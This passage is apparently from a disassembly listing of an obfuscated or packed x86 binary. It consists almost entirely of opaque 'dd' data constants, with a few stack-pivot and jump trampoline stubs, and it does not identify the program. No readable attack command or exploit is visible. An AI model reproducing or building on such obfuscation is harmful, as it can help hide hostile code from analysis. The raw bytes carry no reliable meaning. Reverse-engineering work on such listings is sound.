		dd 3EF5FA7Fh, 53EB2B8Dh, 5CF08280h, 73063AD4h, 9CCD7BC4h
		dd 0E6CE011Ah, 0DB00D684h, 0DB267CA3h, 2A8F8942h, 158FF1FFh
		dd 0B145D164h, 0D97CA493h, 0CC072894h, 0FB8EC05Fh, 770B9D4Ch
		dd 0A4940DE9h, 78DA8B7Ch, 4E530C4h, 0C078495Ch,	478F3D9Fh
		dd 91FCA468h, 0A931E3E0h, 0B1063E0Ah, 9ADCF78Bh, 2BCB59EBh
		dd 75FCA3E4h, 9C1F62C4h, 0E1000000h, 169E6F53h,	6B5487Ch
		dd 0A4157C7Ah, 0BC6B1CFCh, 82CFDF2Ah, 0ADFBA710h, 9847DA10h
		dd 45D387E9h, 0F27EA700h, 8A1CAF60h, 698E68F6h,	40DCF5FAh
		dd 72CA790Ch, 18B75FC1h, 0A443E9E6h, 0BD58E072h, 0DF41F083h
		dd 6A219E2Ah, 49ACF5FAh, 0CBFD9CE3h, 767A48CEh,	2EBC50E4h
		dd 0F5FA69C8h, 0FCDE27D8h, 0D8E8415Ch, 7B2FDD3Fh, 8DEBCE0Eh
		dd 0C55E6705h, 9E4DE08Fh, 37D65CEFh, 0C95C902Eh, 51D96B1Ah
		dd 0D311AAB3h, 4FE29140h, 82893EA0h, 3092D51Fh,	0AA02EC0h
		dd 1EF25F2Dh, 5332706Dh, 5BEF816Fh, 152AEC10h, 0F55780D0h
		dd 76666347h, 0F28435F2h, 26B4CD6Ah, 0F5F226D0h, 0DD701FD0h
		dd 8517CC2Eh, 99CB69F1h, 0F226E90Dh, 0E96CB7F5h, 6D871056h
		dd 51EF7524h, 7BDD8C1Fh, 50234D3h, 0FB8EC05Fh, 3546E169h
		dd 22B56496h, 0A353E173h, 0FDF5F27Ah, 0AC3CEA4Ch, 1EAA476h
		dd 0B853DB6Fh, 0B844F386h, 0F740763Eh, 0E247A95Ah, 6496359Ah
		dd 922DB567h, 0B756FE60h, 2AE7DDEBh, 0A04FE988h, 0B7E9870Dh
		dd 72BA1D24h, 17DF6D01h, 81F7410Fh, 27C66ED0h, 0A04F851Eh
		dd 2C5EFDA3h, 0A7899h, 273A0000h, 3CCF019Fh, 7D9D2B8Dh
		dd 0D6699B33h, 0EC7FB150h, 699CB66h, 1DB0E480h,	30C3FD97h
		dd 41D410AAh, 58EB1DBBh, 68FB39D2h, 7C0F45E2h, 1C1682Ah
		dd 1C890000h, 81E38924h, 4C3h, 4EB8300h, 5C241C87h, 81E78957h
		dd 4C7h, 4EF8300h, 5C243C87h, 56240C89h, 0C681E689h, 4
		dd 4EE81h, 34870000h, 3C895C24h, 80BD5524h, 8906B121h
		dd 242C8BE9h, 4C481h, 15680000h, 89000039h, 4812424h, 424h
		dd 81515F00h, 6762434h,	478F080Ch, 8BA5208h, 1000000h
		dd 763281FAh, 5A080C06h, 5F2434FFh, 8B04C483h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54F8A1
; ---------------------------------------------------------------------------
		db 69h
		dd 7E636A12h, 6503BACBh, 40884A9Ah, 80B81522h, 306B126h
		dd 86E0FFC5h, 7B660A68h, 0E37F8370h, 8F163C29h,	676998Dh
		dd 0D721D80h, 0BD290E86h, 0B64883FDh, 0EB7F88E6h, 10h
		dd 3 dup(0)
		dd 83C08B00h, 0A9131DBDh, 9750006h, 1431BD83h, 740006A9h
		dd 8B535019h, 42DB8C0h,	85890000h, 6A92445h, 0B45C9D8Dh
		dd 0D3FF06ABh, 0BD83585Bh, 6A91431h, 50177400h,	42DB853h
		dd 85890000h, 6A92445h,	0B14B9D8Dh, 0D3FF06ABh,	0B533585Bh
		dd 6A92609h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 23D188C3h, 29B589D6h, 0F906A903h
		dd 20F18D8Bh, 0BD8906A9h, 6A93559h, 0F00F983h, 4684h, 0B70F6000h
		dd 8E9C0h, 0D5BF0000h, 7A12949h, 6461670Bh, 2C3D8Bh, 0B5890000h
		dd 6A92399h, 0D009F2BEh, 0FFF0B25h, 1A84h, 71952300h, 8B06A903h
		dd 79958B3Fh, 3206A911h, 0F3F18BC0h, 42C681AAh,	352F438Eh
		dd 53504149h, 0BE9h, 48373300h,	1551640Fh, 0E141D91h, 16B185C6h
		dd 6A4706A9h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0D680C352h, 4E86A58h, 2C000000h
		dd 50DCD688h, 8B665152h, 310F5AF0h, 5050585Ah, 0F310F52h
		dd 288h, 5A5A5600h, 24448B58h, 0F38B6604h, 5E57008Bh, 4244489h
		dd 57006A58h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0E65B8723h, 0CBEDCEEAh, 6AB16043h, 0FF61AFB4h
		dd 0A910B5B5h, 97BEBE06h, 858D46A3h, 6AC73FCh, 25819D89h
		dd 0D0FF06A9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0F0C35141h, 15C18589h, 816606A9h, 8942D0C2h, 0A9041985h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0DBF69095h, 85C6D754h, 6A916B1h,	50006A53h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 4CDA7E90h, 4E8h, 986AFC00h, 0BA665288h, 505A4B89h, 448B31B2h
		dd 28BE0424h, 8B46FA2Dh, 0DE800h, 4D9E0000h, 8C22C15Eh
		dd 0F0A6B6FAh, 8BDA1897h, 44895AD3h, 0E9600424h, 6, 241CB7C0h
		dd 6653FA34h, 615ADA8Bh, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0CBEB3224h, 8D89F891h
		dd 6A9048Dh, 10B5B5FFh,	6A06A9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 35467C3h, 10E9h, 603E9E00h
		dd 0CF2FA5F7h, 0E1DB69ABh, 0FE9CD06Ah, 0FC858D1Ch, 6A06AC73h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0FCA4C357h, 6BF2F669h, 5C1BD89h, 958906A9h
		dd 6A90539h, 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0F28B6DC3h, 3817858Dh, 8B6606ACh
		dd 7D8589D7h, 8906A905h, 0A905099Dh, 6A206A06h,	7D95FFFFh
		dd 3506A905h, 53504149h, 0E2185C7h, 106A9h, 85C70000h
		dd 6A90C21h, 0
		dd 9D958960h, 0F06A903h, 6661FBBFh, 8BA950BEh, 0A91FD185h
		dd 0A9958B06h, 6406A902h, 0A3h,	6DB50300h, 8306A90Fh, 0A927E9BDh
		dd 840F0006h, 5Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0ECC35747h, 74D173F1h, 0DA818B08h, 778F5D11h
		dd 1FE5858Bh, 9D0906A9h, 6A9003Dh, 6AE08Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 7B9358C3h
		dd 3EB8ABEh, 0F3BF0FA4h, 599BD83h, 0F0006A9h, 49985h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 6E292C94h, 0F18A70CFh, 16B185C6h, 665606A9h,	484AE681h
		dd 2B888D68h, 0D98B60AAh, 11E85250h, 34000000h,	91E77692h
		dd 693A27DFh, 0DFC42FD4h, 7236EFB0h, 60310F58h,	61585A61h
		dd 52243481h, 0F503EEB8h, 10B5B5FFh, 6A06A9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0FE2130C3h
		dd 957B00CFh, 418D0154h, 0E906A91Fh, 0Eh, 0C29CD4A8h, 247DCA1Bh
		dd 134EB9F7h, 858D9AC3h, 6AC73FCh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0FEC35141h,	86C1DA45h, 59B58B0Dh
		dd 0FF06A90Ch, 68D0FD0h, 89000000h, 0A921A59Dh,	52509006h
		dd 310F0FB6h, 585A9DB6h, 14E95150h, 91000000h, 158DB7B7h
		dd 62D885A5h, 42112224h, 78C933F0h, 5A2B87B3h, 0EE990h
		dd 0EA8E0000h, 0FEAB0E26h, 2DDD8611h, 42A7600Eh, 1618D8Dh
		dd 8D2906A9h, 6A92311h,	11BA6691h, 0BE950FDh, 74000000h
		dd 0AF535337h, 8AA5B87Ah, 66915820h, 497BD681h,	6E9046Ah
		dd 5F000000h, 0A13838A9h, 0CFDE6840h, 14E82DF4h, 0D000000h
		dd 0AE635A1Ch, 0DA5390F8h, 2420660Fh, 84D9BE68h, 0BEE18E3Eh
		dd 27F1A08Dh, 2434815Ah, 2DF4DFDEh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 2BC35343h, 379AB084h, 0FFD1BF0Fh
		dd 0A934C9B5h, 14E906h,	0E9070000h, 0CF0F3969h,	4F152F0Bh
		dd 490C1983h, 9DC34CB2h, 0D0FF8C6Fh, 0C9BD8BFCh, 6A06A934h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 8FA9C355h, 77520CECh, 8B2CC656h, 0A925EDB5h
		dd 3C7F0306h, 28E0Fh, 0F78A0000h, 0F8C781h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0C792AAC3h, 202447h,	6A6000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0CC0A4EC3h, 1355B045h
		dd 0AE9h, 13669000h, 0CEC8C7BBh, 89A3B0E3h, 0A9151D95h
		dd 54BD8306h, 6B127h, 166840Fh,	8D890000h, 6A921E5h, 8928C783h
		dd 0A932858Dh, 2E07C706h, 6A64696Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0DCDC356h
		dd 6674D0F2h, 0E9F705BAh, 0Eh, 8F680B3Ah, 0B30F6DB5h, 0EB2E158Ch
		dd 47C7B8C7h, 61746104h, 0A58D0100h, 8B06A921h,	0A910ADB5h
		dd 5C858B06h, 6A06B127h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0FBBC351h, 0B2DB533h
		dd 478906A9h, 0BD95890Ch, 8B06A912h, 0B1276085h, 639ABE06h
		dd 47891BABh, 55006A08h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 6637247h,	2129958Bh, 0C78306A9h
		dd 57006A28h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0A99109D4h, 665727EAh, 0C75AF28Bh, 6F632E07h
		dd 50006A6Eh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 47C7F0D7h, 67696604h, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0BF90142Fh
		dd 8D44BEF8h, 858B11F5h, 6B12758h, 0F0C4789h, 48Eh, 3FBA6600h
		dd 54858BD9h, 2906B127h, 0A91DC1BDh, 8478906h, 5DA8156h
		dd 5E3294F3h, 498D8D58h, 0B06A90Dh, 0A917ADB5h,	8E95006h
		dd 0E0000000h, 0BC4EB95h, 899F9982h, 8166240Ch,	0FFFEC3D6h
		dd 0A90161B5h, 41D28006h, 82AE9C68h, 5870FF3h, 0BA000000h
		dd 1FF3BA3Eh, 64240481h, 6A0C7D61h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 8506C351h
		dd 0BB096EFBh, 0FF4FC1B5h, 2B15BA66h, 2E68057h,	0C9B5FF5Eh
		dd 6A06A934h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 7633C350h, 0A3462486h,	9E541493h
		dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 4CFE4CC3h, 0F98504Fh, 9589D0BFh, 6A93405h
		dd 22C9B52Bh, 0B806A9h,	0BA000000h, 40307D73h, 840FC00Bh
		dd 71h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h
		dd 0D8C35343h, 0B38E267h, 2521B58Bh, 958906A9h,	6A931E5h
		dd 8BDB5FFh, 6A06A9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 1312A8C3h, 0E8B71FA7h, 6, 7C0F19Bh
		dd 0D4BAE9E0h, 5E5CEE6Ah, 0E3DB58Bh, 95FF06A9h,	6A93281h
		dd 0F8C08BF5h, 131DBD83h, 750006A9h, 31BD8309h,	6A914h
		dd 53501974h, 2DB8C08Bh, 89000004h, 0A9020985h,	0C39D8D06h
		dd 0FF06ABB4h, 83585BD3h, 0A91431BDh, 17740006h, 2DB85350h
		dd 89000004h, 0A9020985h, 649D8D06h, 0FF06ABB1h, 6A585BD3h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 31E1C355h, 49AE0214h, 318531DCh, 0B206A908h
		dd 8DBD8919h, 8B06A921h, 50006AC0h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0AF9E9AD1h, 7325F5DFh
		dd 11E8h, 0A416FA00h, 6B7A28C1h, 1039D00Dh, 9D81CBFBh
		dd 9D892FD5h, 6A904F5h,	0E8C08B5Ah, 7, 904AF22Fh, 0F54BF355h
		dd 0D08B665Fh, 6178C781h, 0B58B0000h, 6A900DDh,	0BBh, 0F536000h
		dd 535AF1BFh, 615E5F50h, 663B34FFh, 9F76E281h, 0F2BF0F58h
		dd 0B313F081h, 8D8B56A6h, 6A90975h, 3AA8E881h, 0BA6620B9h
		dd 0F08190F8h, 1D710F3Eh, 50F0B70Fh, 0B21FF181h, 48F57B7h
		dd 7E91Fh, 92EA0000h, 337A209Ch, 880FBBh, 83000000h, 816604EBh
		dd 81F950D1h, 0FF9F0CFBh, 0A5850FFFh, 66FFFFFFh, 0C3B4C681h
		dd 0AE8h, 0C5AF2400h, 0D0754363h, 132BD71h, 0A909758Dh
		dd 0B58B5F06h, 6A91EA1h, 6A68C781h, 8B660000h, 6445B9F2h
		dd 0C1814EBBh, 0B144B61Eh, 6037FFF8h, 7CE6C781h, 9D8956DEh
		dd 6A91E65h, 0DE8B5861h, 27F0E881h, 0B58B3F0Dh,	6A91D21h
		dd 0C2CBE881h, 0DE937E1h, 0A7000000h, 58E6E93Ah, 64C566DAh
		dd 21041C97h, 5EE4E881h, 11E919AAh, 0A000000h, 0F9B4722h
		dd 0A78C8511h, 0FD0EA0CEh, 902B5612h, 0D78B0789h, 2903EF83h
		dd 0A905658Dh, 83F84F06h, 850F01E9h, 12h, 0A799589h, 3EE906A9h
		dd 7F000000h, 0CDC5F905h, 14E84B44h, 5A000000h,	0E3E1F264h
		dd 54EECEEDh, 7B759478h, 0C95CA2C8h, 0F6906B3h,	28Ah, 5B36B700h
		dd 0FFFF5CE9h, 496875FFh, 7FAFBE46h, 0C69E7368h, 0D31BF1A4h
		dd 3E8D8D44h, 6A06B133h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 6637C353h, 0E01958Bh
		dd 950106A9h, 6A922F1h,	16CD8D89h, 0BD8B06A9h, 6A913D5h
		dd 0CE585C7h, 663006A9h, 830F0000h, 17h, 12E9h,	179E5200h
		dd 5BBE5A99h, 502012AFh, 88F49043h, 0C746B6DAh,	0A911CD85h
		dd 6, 0F3BF0F00h, 17D1B5FFh, 6A06A9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 8415C2C3h
		dd 328195FFh, 6A06A9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 882440C3h, 95FF006Ah, 6A92D95h
		dd 58EBC08Bh, 129C4440h, 43CC081Fh, 0FC9C2E2Ch,	79765CA1h
		dd 0BC293AE7h, 0E2044755h, 0DB44DDE7h, 0B983AF72h, 0A82AD6C2h
		dd 876A9EEFh, 0C82303F8h, 0A45F76DAh, 7484DFB8h, 665657BDh
		dd 2C8E2309h, 4061F34Bh, 0B59FDEC5h, 0C66AC7FDh, 0A8B807C8h
		dd 676B446Dh, 0A91D449Fh, 0E559034Eh, 59E900EBh, 0D5000004h
		dd 640A073Dh, 0F29895C7h, 781E1B59h, 3A9A6DAh, 0FF3A3769h
		dd 89BB5525h, 124AE68Ch, 9AD46F15h, 2658F79Dh, 0B13FD329h
		dd 0F5F2E245h, 34EE053h, 0BF57391Ah, 0C8086A37h, 0F38D9633h
		dd 6F1512C1h, 0F99F9CD6h, 862C295Bh, 0AF47D5ECh, 0BBFCA415h
		dd 0E495ED1Fh, 0F2863835h, 93D16Ah, 1631C551h, 0BE6FFCA4h
		dd 0D5689C38h, 821CC426h, 0FAB514Eh, 0A4376D06h, 0A34946F5h
		dd 33D9D608h, 0B9656294h, 0F2744651h, 4BEA2399h, 62008619h
		dd 75149C2Eh, 772CE143h, 242153F1h, 0A650DE72h,	0F2F5F3E5h
		dd 6B57DF41h, 2CDB11AEh, 0FFD10C9Ah, 19ADEBCEh,	66321BCEh
		dd 3BC7FCE0h, 0FC8AC1BBh, 0F28534E5h, 3039D860h, 18C75A96h
		dd 0C527D669h, 8AC1AB17h, 0BC44F6FCh, 0AB5AED1Fh, 0BA98E449h
		dd 0A69FAB38h, 0FD5Dh, 99331D00h, 0BBAF690h, 2052F179h
		dd 0C77CDE8Dh, 0E169FD91h, 0CA790C46h, 1538BA68h, 9F50FCA4h
		dd 0B2E8850Dh, 50DE701Fh, 0FCA415A6h, 2ADF41F2h, 0D6D305A4h
		dd 0CD5F9130h, 154BAB39h, 0A455FCA4h, 9B278D42h, 435C355h
		dd 0DAF27F43h, 0E13EB846h, 0D25AF5FAh, 0EB4DFC38h, 262DC071h
		dd 1C50EC74h, 1378DA89h, 95C766A9h, 40B01298h, 0DF3920AEh
		dd 0BC6DEBD5h, 0D709A329h, 0D323B145h, 0CDFCA3E5h, 0E54BAB39h
		dd 0A455FCA3h, 0CE7493F5h, 76D0034h, 8EC05FCCh,	0B9D4CFBh
		dd 0E60DE977h, 0DA8BFCA3h, 2183B554h, 0E7A7DF6Dh, 0C071FCA3h
		dd 6B853DC3h, 0F3964BD9h, 6112F27Eh, 72AE48CEh,	0FB35CF75h
		dd 31D10268h, 0AF7B179Fh, 0C263F41Eh, 98FAA9E2h, 0E93456E4h
		dd 42CAF5FAh, 29D86BA9h, 9F9C4DC7h, 2BCB59EDh, 75F5FAE8h
		dd 20BA62C4h, 30BE52E4h, 0F5FAE7C6h, 44D709A4h,	2A8C3D95h
		dd 6F53CD0Bh, 0C867EF81h, 0F2540396h, 2641B03Eh, 9445F27Fh
		dd 0AADC7B01h, 0A8FCD18h, 39BF52FCh, 51E416B3h,	512140A2h
		dd 9B29BD3Bh, 0F5FA545Bh, 0AA329445h, 23D1D929h, 0F5FA549Fh
		dd 0CDCAFC9Bh, 0C4F6931Bh, 78208231h, 0C036C4D9h, 0E0F5FA54h
		dd 67ED802Fh, 6E0396C8h, 3CBA48DCh, 5CF5FA54h, 6DCF2011h
		dd 21D08209h, 0AD125ABFh, 8D31420Eh, 0FD74163Ch, 549F514Eh
		dd 0CA67D0EDh, 727D4F98h, 0DD153A9Ch, 0B8A00F60h, 2Ah
		dd 0E76F5378h, 429A4055h, 68FAA9F7h, 0E3AF4CD4h, 0E1904257h
		dd 0A90BBAFDh, 7ED83EFBh, 0A639EAF2h, 524F8120h, 2911h
		dd 9533D300h, 0AB4AD063h, 3BCE06A2h, 15DB1BA9h,	14C5FCA4h
		dd 7B9B665h, 1611E573h,	0FB8FFCA4h, 0A415896Dh,	0B76617FCh
		dd 95331555h, 7C106663h, 0A4160CEEh, 58EB9CFCh,	9A7E7BC6h
		dd 7B18988Bh, 0A0D27119h, 0B6E8870Dh, 0F3039123h, 0ADFCA39Ch
		dd 0A9DB76FCh, 0F63E8116h, 29BCF691h, 61C4CB7Ah, 4D19B41Bh
		dd 7B56B829h, 0CB01B048h, 0E051A937h, 9647FCA3h, 0E0807604h
		dd 6F20FCA3h, 0FB2DCC72h, 0C2601E69h, 481BE12Dh, 1864C7E6h
		dd 6D8917ABh, 2BFCA3A0h, 4474FDE0h, 17C62965h, 3E72B5h
		dd 33340000h, 85D06294h, 582672E9h, 8F1DAF8Ah, 0FCA31E67h
		dd 691E8031h, 0FEA8CD7h, 0AE00517h, 0E065CE18h,	0B618C7F2h
		dd 0CC666F0Eh, 3EED27C1h, 504DFCABh, 7A7C0A9Eh,	26FCA3F7h
		dd 65851375h, 0D6699B33h, 0EC7FB150h, 699CB66h,	1DB0E480h
		dd 30C3FD97h, 41D410AAh, 58EB1DBBh, 68FB39D2h, 7C0F45E2h
		dd 0E089502Ah, 405h, 4BF5700h, 29000000h, 4875FF8h, 89505C24h
		dd 405E0h, 0E8830000h, 24048704h, 2414895Ch, 81E28952h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 0BF57240Ch, 0F6F6A48h
		dd 5203E7C1h, 0D53F67BAh, 0F2814226h, 0CD859DBh, 7697CA81h
		dd 0C2811592h, 13FE5275h, 9F43F281h, 0D731786Dh, 0F9F7815Ah
		dd 8126752Eh, 0AE30A8E7h, 0DEEF8163h, 895BFCECh, 8B545FFAh
		dd 0C481240Ch, 4, 56D08950h, 7189C689h,	0FF585E08h, 83592434h
		dd 148B04C4h, 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h
		dd 0F847ECE9h, 0CC146BFFh, 18F77DAFh, 748CE43Ah, 0B1373CB8h
		dd 0FFC50306h, 0F46624E0h, 7AA88D75h, 0D8549438h, 0E5FD8860h
		dd 60AB7A5Bh, 0FDACCB3Ch, 0C1DC6667h, 37FD431h,	4537022Ch
		dd 1311EE48h, 0EAA3E017h, 0EBCF1607h, 4DF9422Ch, 25B00F79h
		dd 0D1D8DE36h, 0EEB2A166h, 42522E4Ch, 43FCFF04h, 9AB86E18h
		dd 1B06C505h, 0E1D4BC62h, 8EBC516Dh, 8ED58012h,	0FEB8AFCh
		dd 0B966FBBFh, 0E9F91538h, 14h,	980036CDh, 0E16AA8FFh
		dd 706450EBh, 0D3EF5393h, 5BA9F0D8h, 8160F08Bh,	0C5331F6h
		dd 0DE96115h, 35000000h, 88B17AAEh, 0BC056811h,	0E1221411h
		dd 0FA87A3BBh, 12E932h,	2B390000h, 941C479Dh, 768102D9h
		dd 38897B94h, 0C92B5518h, 840Fh, 8B660000h, 8D27BFCAh
		dd 11E962C6h, 0B1000000h, 555DA92Ah, 4383995Eh,	54D275D5h
		dd 66DEBA0Ch, 0F580F18Bh, 8B0F5163h, 5,	474B34BEh, 0C38B5A10h
		dd 7E8h, 5AFB5100h, 0C7DB57E8h,	3073B966h, 2810F5Ah, 8B000000h
		dd 0FE9D8h, 91C90000h, 0D5A203E9h, 4CAE2FDEh, 0BDCCC21Fh
		dd 11D681BFh, 0B71EE26Ch, 10E98Dh, 7ABE0000h, 0AEDBA021h
		dd 77F1C840h, 0F670412Fh, 8BF5A1FBh, 66D18BC8h,	4060EE81h
		dd 0ABCF8166h, 0E9C78A1Fh, 6, 0EBEB1290h, 8B66D242h, 0C38B66D0h
		dd 9FE78166h, 0CEE4800Fh, 66C78B66h, 82F4C781h,	12E9h
		dd 9ED0FC00h, 0BF5E0385h, 72997FA6h, 47C36ED5h,	0F9C11ED2h
		dd 1810Fh, 0B2F50000h, 0C9B70F63h, 13840Fh, 0EE90000h
		dd 0AE000000h, 7BE6ED6h, 0F62BFC1Eh, 0DE798FDCh, 0B1EA816Bh
		dd 0E9045D64h, 0Dh, 7F29A7Dh, 0F4DB5642h, 6C724615h, 9366B837h
		dd 0EB812714h, 7C08E7FFh, 0EE9h, 7BD7EA00h, 0E93644E2h
		dd 1DC4A54Ah, 66683D29h, 6076CFBEh, 66D1C880h, 8B61C38Bh
		dd 0FD78BFEh, 0B8Fh, 5840F00h, 0BA000000h, 2B307E8Eh, 0B633ED80h
		dd 14E8C6h, 99AB0000h, 0C15FB916h, 0D0FE0851h, 3FA81A40h
		dd 65A00B72h, 0E85AA759h, 0Ch, 8C3A7055h, 0EF8239F2h, 4F943AA8h
		dd 891A0BBEh, 8166582Dh, 0B036FFD2h, 5E865h, 874B0000h
		dd 0F5937DF3h, 0E181665Bh, 860F9C1Dh, 5, 756114B9h, 0F98B665Dh
		dd 0A810Fh, 0B4600000h,	8A0F89h, 61000000h, 8BDC8AF8h
		dd 0B840FCFh, 0F000000h, 580h, 34FABB00h, 8F0F2FD4h, 6
		dd 8A2C881h, 0FE9157Fh
		dd 0CD000000h, 8329CB63h, 0B3BB5F53h, 0DE146D78h, 0FE915D8h
		dd 4A000000h, 0E9E3BD28h, 3138A83Dh, 6B355F8Dh,	0C18BAB16h
		dd 80F2BF0Fh, 6E8DCE6h,	0F3000000h, 0A88FA597h,	0E681665Ah
		dd 815A3A8Eh, 410419C7h, 0DE841h, 38960000h, 5BD92F9Fh
		dd 3340FF40h, 814E5C19h, 8A0817EBh, 0B70F5A2Eh,	7E8C9h
		dd 61700000h, 0CA9C5C27h, 58C78B28h, 0A8C0Fh, 8A0F0000h
		dd 4, 0B00FB966h, 0DE9h, 75086E00h, 2764797h, 88101048h
		dd 8B66A006h, 5E9CEh, 66EF0000h, 0F82A6800h, 0AFCD8057h
		dd 0DABF0F5Bh, 9A39E981h, 8F0F17F0h, 0Ch, 6820Fh, 0C7810000h
		dd 40F0E0CEh, 2800F56h,	8B000000h, 0F1805AF9h, 61BB66D6h
		dd 8D0F57h, 0F000000h, 382h, 0FB8B6600h, 0F2BF0FF8h, 188E0Fh
		dd 13E90000h, 78000000h, 8663F27Eh, 0E46218CFh,	0F8B25D74h
		dd 0C9F42F84h, 666075BBh, 85F5C081h, 43BA5661h,	597CD5B3h
		dd 0FF78B66h, 389h, 0D0B70F00h,	5265B5F5h, 0BE9h, 0BD3A6300h
		dd 2256FB4Dh, 8F1F35Bh,	850F575Eh, 1, 14E859F8h, 5A000000h
		dd 0BD20D5A4h, 0C3F8C7ABh, 8666DDE9h, 4038B94h,	0FB7C31Eh
		dd 0F85BD7B7h, 800FCE8Bh, 3, 0E9F9BF0Fh, 0Dh, 3FD59EBh
		dd 8B0C7316h, 46E524FBh, 5E9C2h, 0FA670000h, 0E9E45AFFh
		dd 11h,	4F11766h, 43ECF464h, 88E8058Ch,	1FBDEC4Eh, 2F07BB0Dh
		dd 8B661B1Ch, 0F5C78AD7h, 587560B9h, 0DE93Dh, 0E15B0000h
		dd 213A2FEAh, 426043E0h, 66F2CC69h, 66298CB8h, 6AACEF81h
		dd 11E8h, 23641100h, 1231B7BBh,	0C0219A82h, 9F494357h
		dd 0E8524A76h, 5, 3067C673h, 595F5A15h,	0F60A7B5h, 682h
		dd 60D68100h, 0E964AE3Fh, 11h, 76C6D0D4h, 857D45B3h, 0FCAE5FA0h
		dd 0CFF70ADBh, 0FE8B6103h, 0D8ECC381h, 0EA812AE8h, 2069BE1Ah
		dd 8E9h, 4FCDDE00h, 0AA95E9ABh,	85BA66A4h, 0C18166F1h
		dd 8E0F8805h, 8, 2850Fh, 61600000h, 10E9h, 3BDE0900h, 0F65FF8B3h
		dd 1F813DD8h, 0F6FF06E1h, 12E9B8h, 0A5200000h, 44347EE2h
		dd 0B0C1DC10h, 0D80A5291h, 51C3E0A1h, 1A7250BFh, 0F8E1B172h
		dd 2DF2FCBFh, 77BF660Fh, 923CBFC3h, 665678A1h, 5A8450BAh
		dd 58F0Fh, 81660000h, 0E93B5CEEh, 0Eh, 8D0948E1h, 86C9E9A7h
		dd 55BD9245h, 50F5ED3Eh, 0B8665EFCh, 0EB804E87h, 31C280C0h
		dd 3820Fh, 8B660000h, 16E781D0h, 51706B57h, 0EFD5BA66h
		dd 81F28B5Fh, 0A8CADCEh, 0BEC38B07h, 3F3DD095h,	0E816B7FCh
		dd 0Eh,	0B95DA55Dh, 2E624A14h, 0D4915A3Ah, 0CA8B35D7h
		dd 7D48059h, 5830Fh, 81660000h,	0F57EA8EBh, 6E9F08Ah, 51000000h
		dd 810B1948h, 0B70F60DDh, 2840FDBh, 0B6000000h,	0F38B61AFh
		dd 0BB66BBB1h, 0E6BF3C48h, 0F662F52h, 482h, 12BA6600h
		dd 0DDBB6066h, 6629A1BDh, 614A83B8h, 5FE2B966h,	8E8h, 0C38D6D00h
		dd 293EF9ACh, 6658F5D8h, 6648A9B8h, 1F85E681h, 0FF92FB3h
		dd 8166C8BFh, 0FCC5EF3h, 0C89h,	7E900h,	0ABC30000h, 38CC6F5Dh
		dd 5E945h, 5AA60000h, 81394AB5h, 72056DE3h, 6820F47h, 0F000000h
		dd 80h,	0F3B70F00h, 57C7BF0Fh, 19860Fh,	14E90000h, 7E000000h
		dd 64A80CFh, 23A0D952h,	0FAF1D597h, 7AF34E59h, 5F487704h
		dd 10E9h, 0EA3CA900h, 14ABECBCh, 15C3848Ch, 6806803Bh
		dd 66F48AA0h, 0D38BCF8Bh, 38C0Fh, 0BF0F0000h, 28C0FF8h
		dd 8B000000h, 816650D8h, 5E64DED3h, 0A989E881h,	0BDB534BAh
		dd 0E44ABA66h, 354B866h, 58F0Fh, 81660000h, 66FB60D8h
